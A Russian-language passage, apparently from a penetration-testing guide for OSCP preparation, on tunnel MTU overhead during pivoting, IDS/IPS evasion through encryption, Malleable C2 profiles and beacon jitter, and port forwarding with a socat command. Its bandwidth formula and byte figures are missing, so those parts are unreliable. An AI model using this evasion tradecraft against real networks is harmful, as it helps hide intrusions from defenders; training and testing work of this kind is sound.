    При использовании многоуровневого туннелирования (двойной или тройной Pivoting) критически важно учитывать накладные расходы на инкапсуляцию. Каждый слой туннеля добавляет свои заголовки, что уменьшает полезный объем данных в пакете (MTU — Maximum Transmission Unit).

    Если стандартный размер кадра Ethernet составляет байт, то при использовании SSH-туннеля внутри другого туннеля реальный объем передаваемых данных может упасть ниже байт. Это приводит к фрагментации пакетов и резкому замедлению работы, что может выдать присутствие атакующего из-за аномальных задержек.

    Расчет эффективной пропускной способности можно представить как:

    где:

  • — размер полезных данных в пакете.
  • — общий размер пакета с учетом всех заголовков туннелей.
  • — ширина канала связи.
  • При глубоком пивотинге растет, а остается неизменным или уменьшается, что снижает эффективность канала.

    Обход систем обнаружения вторжений (IDS/IPS)

    Туннелирование само по себе является подозрительным. Чтобы не вызвать срабатывание IDS на сетевом уровне, необходимо маскировать трафик.

  • Шифрование. Весь трафик внутри туннеля должен быть зашифрован (AES), чтобы IDS не могла увидеть сигнатуры эксплойтов или команд шелла.
  • Изменение профиля трафика. Современные C2-фреймворки (например, Cobalt Strike или Sliver) позволяют настраивать Malleable C2 профили. Вы можете заставить ваш трафик выглядеть как обычные запросы к Google Analytics или обновления Windows.
  • Jitter и Sleep. Постоянное соединение (Beacon) с одинаковыми интервалами легко вычисляется статистическими методами. Добавление случайных пауз (Jitter) между запросами помогает имитировать поведение реального пользователя.
  • Практические рекомендации для подготовки к OSCP

    На экзамене OSCP вам часто придется сталкиваться с ситуациями, где нужно «прокинуть» порт для эксплуатации уязвимости.

  • Используйте статические бинарники. Всегда имейте при себе скомпилированные версии chisel, socat и ncat, которые не зависят от библиотек в системе жертвы.
  • Проверяйте права. Перед созданием туннеля на низких портах (ниже 1024) убедитесь, что у вас есть права root/SYSTEM. В противном случае используйте высокие порты (например, 8080, 1080, 9001).
  • Socat — швейцарский нож. Если вам нужно быстро перенаправить трафик с одного порта на другой внутри системы без создания полноценного туннеля, socat незаменим:
  • socat TCP-LISTEN:8080,fork,reuseaddr TCP:10.10.10.5:80` Эта команда будет слушать порт 8080 и перенаправлять все входящие соединения на внутренний сервер.

    Финальное замыкание мысли

    Обход современных средств защиты и мастерство управления трафиком в изолированных сетях — это игра в «кошки-мышки», где побеждает тот, кто лучше понимает внутреннее устройство операционной системы и сетевых протоколов. Помните, что любая автоматизация — это лишь инструмент. Настоящий успех в обходе EDR или построении сложного туннеля зависит от вашей способности адаптировать техники под конкретную среду, минимизировать «шум» и использовать легитимные механизмы системы против неё самой. В следующей главе мы перейдем к финальному этапу любого профессионального пентеста — документированию всех обнаруженных векторов и составлению отчета, который превратит ваши технические достижения в ценность для бизнеса.